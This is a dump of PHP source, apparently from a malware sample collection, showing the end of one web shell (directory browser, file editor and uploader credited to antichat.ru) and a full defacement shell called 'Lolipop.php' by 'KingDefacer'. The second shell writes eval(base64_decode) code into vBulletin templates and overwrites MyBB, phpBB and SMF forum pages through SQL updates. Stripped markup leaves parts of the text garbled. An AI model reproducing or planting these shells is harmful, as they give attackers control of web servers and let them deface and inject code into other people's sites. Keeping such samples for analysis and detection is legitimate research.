230 |  else {$size = $size . " B";}
231 |  return $size;
232 | }
233 | 
234 | function scandire($dir){
235 | 
236 | 
237 | 		
238 | echo "";
239 | echo "";
240 | 
241 | if (is_dir($dir)) {
242 |     if (@$dh = opendir($dir)) {
243 |         while (($file = readdir($dh)) !== false) {
244 | 		  if(filetype($dir . $file)=="dir") $dire[]=$file;
245 | 		  if(filetype($dir . $file)=="file")$files[]=$file;
246 | 		}
247 | 		closedir($dh);
248 | 		@sort($dire);
249 | 		@sort($files);
250 | 
251 | 
252 | if ($GLOBALS['win']==1) {
253 | echo "";
258 | }
259 | echo "
260 | ";
261 | for($i=0;$i';  
264 |   }
265 | for($i=0;$i
268 | 
269 | 
273 | '; 
274 | }
275 | echo "
Open directory:
Select drive:";
254 | for ($j=ord('C'); $j<=ord('Z'); $j++) 
255 |  if (@$dh = opendir(chr($j).":/"))
256 |  echo ' '.chr($j).'';
257 |  echo "
OS: ".@php_uname()."
name dirs and filestypesizepermissionoptions
'.$dire[$i].'dir'.perms($link).'X
'.$files[$i].'
file'.view_size(filesize($linkfile)).''.perms($linkfile).'
270 | D
271 | E
272 | X
";
276 | }}}
277 | 
278 | if($action=="viewer"){
279 | scandire($dir);
280 | }
281 | //end viewer FS
282 | 
283 | //editros
284 | if($action=="editor"){  
285 |   function writef($file,$data){
286 |   $fp = fopen($file,"w+");
287 |   fwrite($fp,$data);
288 |   fclose($fp);
289 |   }
290 |   function readf($file){
291 |   if(!$le = fopen($file, "r")) $contents="Can't open file, permission denide"; else {
292 |   $contents = fread($le, filesize($file));
293 |   fclose($le);}
294 |   return htmlspecialchars($contents);
295 |   }
296 | if(@$_POST['save'])writef($file,$_POST['data']);
297 | echo "

298 | 
299 | 
300 | 

301 | 
";
302 | }
303 | //end editors
304 | 
305 | //upload
306 | if($action=="upload"){
307 |   if(@$_POST['dirupload']!="") $dirupload=$_POST['dirupload'];else $dirupload=$dir;
308 |   $form_win="
Upload to dir:
New file name:
File addres:
313 | 
COPYRIGHT BY ANTICHAT.RU 

366 | 


--------------------------------------------------------------------------------
/t/malware/55.php:
--------------------------------------------------------------------------------
  1 | 
 
  2 | ON"; 
 52 | } 
 53 | else 
 54 | { 
 55 |     $c_h = "OFF"; 
 56 | } 
 57 | 
 58 | //Kapali Fonksiyonlar 
 59 | if (''==($disfunc)) 
 60 | { 
 61 |     $dis = "None"; 
 62 | } 
 63 | else 
 64 | { 
 65 |     $dis = "$disfunc"; 
 66 | } 
 67 | //Dizin degisimi 
 68 | if(isset($_GET['dir']) && is_dir($_GET['dir'])) 
 69 | { 
 70 |  chdir($_GET['dir']); 
 71 | } 
 72 | 
 73 | $ccc = realpath($_GET['chdir'])."/"; 
 74 | 
 75 | //Baslik 
 76 | echo " 
 77 |  
102 | 
103 | Lolipop.php - Edited By KingDefacer - [$site]"; 
104 | //Ana tablo 
105 | echo " 
106 |  
107 |      
108 |          
114 |      
115 |           
117 |      
118 | 
 
109 | 
110 | 
111 |           Lolipop BETA ( Powered By KingDefacer ) 
112 | 
113 |     
 
116 |         Site: $site
Server name: $sname
Software: $info
Version : $version
Uname -a: $uname
Path: $ccc
Safemode: $c_h
Disable Functions: $dis
Page: $page
Your IP: $yourip
Server IP: $serverip
"; 
119 | echo '     
120 | '; 
121 | //Buton Listesi 
122 | echo "
"; 
123 | 
124 | 
125 | 
126 | 
127 | //VB HACK 
128 | if (isset($_POST['vbulletin'])) 
129 | { 
130 | echo "
 
131 | 
 
132 | 
==Lolipop VB index.==
 
133 |     
Mysql Host

 
134 |           DbKullanici

 
135 |           Dbadi

 
136 | 		  
137 |           Dbsifre

 
138 |           ?ndexin Yaz?lacag? B?l?m

 
139 |           
"; 
140 | die(); 
141 | } 
142 | $KingDefacer="Powered By Lolipop :))"; 
143 | $dbh = $_POST['dbh']; 
144 | $dbu = $_POST['dbu']; 
145 | $dbn = $_POST['dbn']; 
146 | $dbp = $_POST['dbp']; 
147 | $index = $_POST['index']; 
148 | $index=str_replace("\'","'",$index); 
149 | $set_index  = "{\${eval(base64_decode(\'"; 
150 | 
151 | $set_index .= base64_encode("echo \"$index\";"); 
152 | 
153 | 
154 | $set_index .= "\'))}}{\${exit()}}"; 
155 | 
156 | 
157 | if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)) 
158 | { 
159 | mysql_connect($dbh,$dbu,$dbp) or die(mysql_error()); 
160 | mysql_select_db($dbn) or die(mysql_error()); 
161 | $loli1 = "UPDATE template SET template='".$set_index."".$KingDefacer."' WHERE title='spacer_open'"; 
162 | $loli2 = "UPDATE template SET template='".$set_index."".$KingDefacer."' WHERE title='FORUMHOME'"; 
163 | $loli3 = "UPDATE style SET css='".$set_index."".$KingDefacer."', stylevars='', csscolors='', editorstyles=''"; 
164 | $result = mysql_query($loli1) or die (mysql_error()); 
165 | $result = mysql_query($loli2) or die (mysql_error()); 
166 | $result = mysql_query($loli3) or die (mysql_error()); 
167 | echo ""; 
168 | } 
169 | 
170 | //MyBB Hack 
171 | if (isset($_POST['mybulletin'])) 
172 | { 
173 | echo "
 
174 | 
 
175 | 
==Lolipop MyBB index.==
 
176 |     
Mysql Host

 
177 |           DbKullanici

 
178 |           Dbadi

 
179 |           Dbsifre

 
180 |           ?ndexin Yaz?lacag? B?l?m

 
181 |           
"; 
182 | die(); 
183 | } 
184 | $mybb_dbh = $_POST['mybbdbh']; 
185 | $mybb_dbu = $_POST['mybbdbu']; 
186 | $mybb_dbn = $_POST['mybbdbn']; 
187 | $mybb_dbp = $_POST['mybbdbp']; 
188 | $mybb_index = $_POST['mybbindex']; 
189 | 
190 | if (!empty($mybb_dbh) && !empty($mybb_dbu) && !empty($mybb_dbn) && !empty($mybb_index)) 
191 | { 
192 | mysql_connect($mybb_dbh,$mybb_dbu,$mybb_dbp) or die(mysql_error()); 
193 | mysql_select_db($mybb_dbn) or die(mysql_error()); 
194 | $prefix="mybb_"; 
195 | $loli7 = "UPDATE ".$prefix."templates SET template='".$mybb_index."' WHERE title='index'"; 
196 | 
197 | $result = mysql_query($loli7) or die (mysql_error()); 
198 | 
199 | echo ""; 
200 | } 
201 | //PhpBB 
202 | if (isset($_POST['phpbb'])) 
203 | { 
204 | echo "
 
205 | 
 
206 | 
==Lolipop PHPBB index.==
 
207 |     
Mysql Host

 
208 |           DbKullanici

 
209 |           Dbadi

 
210 |           Dbsifre

 
211 |           Yazi Veya  KOD

 
212 |           Degisecek KATEGORI ID si

 
213 |           
"; 
214 | die(); 
215 | } 
216 | $phpbb_dbh = $_POST['phpbbdbh']; 
217 | $phpbb_dbu = $_POST['phpbbdbu']; 
218 | $phpbb_dbn = $_POST['phpbbdbn']; 
219 | $phpbb_dbp = $_POST['phpbbdbp']; 
220 | $phpbb_kat = $_POST['phpbbkat']; 
221 | $kategoriid=$_POST['katid']; 
222 | 
223 | if (!empty($phpbb_dbh) && !empty($phpbb_dbu) && !empty($phpbb_dbn) && !empty($phpbb_kat)) 
224 | { 
225 | mysql_connect($phpbb_dbh,$phpbb_dbu,$phpbb_dbp) or die(mysql_error()); 
226 | mysql_select_db($phpbb_dbn) or die(mysql_error()); 
227 | 
228 | 
229 | $loli10 = "UPDATE phpbb_categories  SET cat_title='".$phpbb_kat."' WHERE cat_id='".$kategoriid."'"; 
230 | 
231 | $result = mysql_query($loli10) or die (mysql_error()); 
232 | 
233 | echo ""; 
234 | } 
235 | //SmfHACK 
236 | if (isset($_POST['smf'])) 
237 | { 
238 | echo "
 
239 | 
 
240 | 
==Lolipop SMF Index.==
 
241 |     
Mysql Host

 
242 |           DbKullanici

 
243 |           Dbadi

 
244 |           Dbsifre

 
245 |                     Yazi Yada KOD

 
246 |                     Degisecek KATEGORI ID si 

 
247 | 
248 |           
"; 
249 | die(); 
250 | } 
251 | $smf_dbh = $_POST['smfdbh']; 
252 | $smf_dbu = $_POST['smfdbu']; 
253 | $smf_dbn = $_POST['smfdbn']; 
254 | $smf_dbp = $_POST['smfdbp']; 
255 | $smf_index = $_POST['smf_index']; 
256 | $smf_katid=$_POST['katid']; 
257 | 
258 | if (!empty($smf_dbh) && !empty($smf_dbu) && !empty($smf_dbn) && !empty($smf_index)) 
259 | { 
260 | mysql_connect($smf_dbh,$smf_dbu,$smf_dbp) or die(mysql_error()); 
261 | mysql_select_db($smf_dbn) or die(mysql_error()); 
262 | $prefix="smf_"; 
263 | $loli12 = "UPDATE ".$prefix."categories SET name='".$smf_index."' WHERE ID_CAT='".$smf_katid."'"; 
264 | 
265 | $result = mysql_query($loli12) or die (mysql_error()); 
266 | 
267 | echo ""; 
268 | } 
269 | 
270 | 
271 | //Alt taraf 
272 | echo " 
273 | 
274 | 
275 | 
 
276 |  
277 |  
283 | 
 
278 | 
279 |   
Lolipop.php
 
280 |   
Edited By KingDefacer
 
281 | 

 
282 | 
"; 
284 | 
285 | 
286 | 
287 | // Kod bitisi 
288 | ?> 
289 | 


--------------------------------------------------------------------------------